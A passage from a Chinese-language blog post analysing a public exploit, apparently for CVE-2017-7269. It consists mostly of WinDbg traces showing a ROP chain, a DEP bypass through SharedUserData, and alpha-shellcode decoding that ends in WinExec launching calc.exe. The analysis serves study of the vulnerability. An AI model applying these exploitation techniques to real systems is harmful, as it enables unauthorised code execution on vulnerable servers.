eip=68006e51 esp=680313c8 ebp=68006e4f iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!CPEncrypt+0x3d:
68006e51 c22000 ret 20h
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=680313c0 edi=680313c0
eip=68006e4f esp=680313ec ebp=68006e4f iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!CPEncrypt+0x3b:
68006e4f 5e pop esi
经过一系列ROP之后,会进入KiFastSystemCall,这是利用SharedUserData bypass DEP的一环。
0:009> p
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=00fff4f8 esi=68031460 edi=680124e3
eip=680124e3 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!HmacCheck+0x2c3:
680124e3 ff23 jmp dword ptr [ebx] ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c8285e8)}
0:009> p
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=00fff4f8 esi=68031460 edi=680124e3
eip=7c8285e8 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCall:
7c8285e8 8bd4 mov edx,esp
0:009> p
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=68031400 esi=68031460 edi=680124e3
eip=7c8285ea esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCall+0x2:
7c8285ea 0f34 sysenter
0:009> p
eax=00000000 ebx=7ffe0300 ecx=00000001 edx=ffffffff esi=68031460 edi=680124e3
eip=68031460 esp=68031404 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!g_pfnFree+0x1a4:
68031460 56 push esi
0:009> dc 68031460
68031460 00560056 00410059 00340034 00340034 V.V.Y.A.4.4.4.4.
68031470 00340034 00340034 00340034 00410051 4.4.4.4.4.4.Q.A.
之后进入alpha shellcode,这时候68031460作为shareduserdata,已经具备可执行权限。
Failed to map Heaps (error 80004005)
Usage: Image
Allocation Base: 68000000
Base Address: 68031000
End Address: 68032000
Region Size: 00001000
Type: 01000000 MEM_IMAGE
State: 00001000 MEM_COMMIT
Protect: 00000040 PAGE_EXECUTE_READWRITE 有了可执行权限
这里由于url存入内存按照宽字节存放,因此都是以00 xx方式存放,因此不能单纯使用shellcode,而得用alpha shellcode(结尾基友用了另一种方法执行shellcode,大家可以看下),alpha shellcode会先执行一段操作。随后进入解密部分。
0:009> p
eax=059003d9 ebx=7ffe0300 ecx=68031585 edx=68031568 esi=68031460 edi=680124e3
eip=6803154e esp=68031400 ebp=6e6f3176 iopl=0 nv up ei ng nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000292
rsaenh!g_pfnFree+0x292:
6803154e 41 inc ecx
0:009> p
eax=059003d9 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=6803154f esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
rsaenh!g_pfnFree+0x293:
6803154f 004200 add byte ptr [edx],al ds:0023:68031568=e3
0:009> p
eax=059003d9 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=68031552 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
rsaenh!g_pfnFree+0x296:
68031552 6b0110 imul eax,dword ptr [ecx],10h ds:0023:68031586=00540032
0:009> p
eax=05400320 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=68031555 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
rsaenh!g_pfnFree+0x299:
68031555 024102 add al,byte ptr [ecx+2] ds:0023:68031588=54
0:009> p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=68031558 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
rsaenh!g_pfnFree+0x29c:
68031558 8802 mov byte ptr [edx],al ds:0023:68031568=bc
0:009> p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=6803155a esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
rsaenh!g_pfnFree+0x29e:
6803155a 42 inc edx
0:009> p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031569 esi=68031460 edi=680124e3
eip=6803155b esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
rsaenh!g_pfnFree+0x29f:
6803155b 803941 cmp byte ptr [ecx],41h ds:0023:68031586=32
0:009> p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031569 esi=68031460 edi=680124e3
eip=6803155e esp=68031400 ebp=6e6f3176 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
rsaenh!g_pfnFree+0x2a2:
6803155e 75e2 jne rsaenh!g_pfnFree+0x286 (68031542) [br=1]
0:009> dd 68031580
68031580 00380059 00320059 004d0054 004a0054
68031590 00310054 0030004d 00370031 00360059
680315a0 00300051 00300031 00300031 004c0045
680315b0 004b0053 00300053 004c0045 00330053
可以看到,解密前,alpha shellcod部分,随后解密结束之后。
0:009> p
eax=04d0035d ebx=7ffe0300 ecx=68031592 edx=6803156c esi=68031460 edi=680124e3
eip=6803155e esp=68031400 ebp=6e6f3176 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
rsaenh!g_pfnFree+0x2a2:
6803155e 75e2 jne rsaenh!g_pfnFree+0x286 (68031542) [br=1]
0:009> bp 68031560
0:009> g
Breakpoint 2 hit
eax=00000410 ebx=7ffe0300 ecx=680318da edx=6803163e esi=68031460 edi=680124e3
eip=68031560 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!g_pfnFree+0x2a4:
68031560 b8b726bfca mov eax,0CABF26B7h
0:009> dd 68031580
68031580 223cec9b 265a2caa 6a289c9c 9f7c5610
68031590 90a91aa3 9f8f9004 beec8995 6120d015
680315a0 60351b24 30b44661 a56b0c3a 4eb0584f
680315b0 b3b04c03 65916fd3 87313668 9f7842bd
680315c0 14326fa2 fcc51b10 c16ae469 05721746
680315d0 7f01c860 44127593 5f97a1ee 840f2148
680315e0 4fd6e669 089c4365 23715269 e474df95
shellcode已经被解密出来,随后会调用winexec,执行calc。
0:009> p
eax=77ea411e ebx=7ffe0300 ecx=68031614 edx=876f8b31 esi=68031460 edi=680124e3
eip=680315f9 esp=680313fc ebp=68031581 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
rsaenh!g_pfnFree+0x33d:
680315f9 51 push ecx
0:009> p
eax=77ea411e ebx=7ffe0300 ecx=68031614 edx=876f8b31 esi=68031460 edi=680124e3
eip=680315fa esp=680313f8 ebp=68031581 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
rsaenh!g_pfnFree+0x33e:
680315fa ffe0 jmp eax {kernel32!WinExec (77ea411e)}
0:009> dd esp
680313f8 68031614 68031633 00000001 00000000
0:009> dc 68031633 l2
68031633 636c6163 6578652e calc.exe
第二个参数是0x1,是SW_SHOWNORMAL,但由于服务无窗口,因此calc无法弹出。
Paste_Image.png其实,这个过程可以替换成其他的shellcode,相关的shellcode替换链接可以看我的好基友LCatro的几篇文章,都非常不错。
https://ht-sec.org/cve-2017-7269-hui-xian-poc-jie-xi/
最后我想说,我在深圳,刚才和几个平时网上的好朋友吃夜宵,聊到这个漏洞,没想到在几个小时前认识的彭博士,就是这个漏洞的作者!真的没有想到,还好自己分析的这套思路和这个漏洞作者的思路相差无几,不然就被打脸了。真的很有缘!一下学到了好多。
这篇最后还是没有按时发出,不过希望能和大家一起学习!谢谢阅读!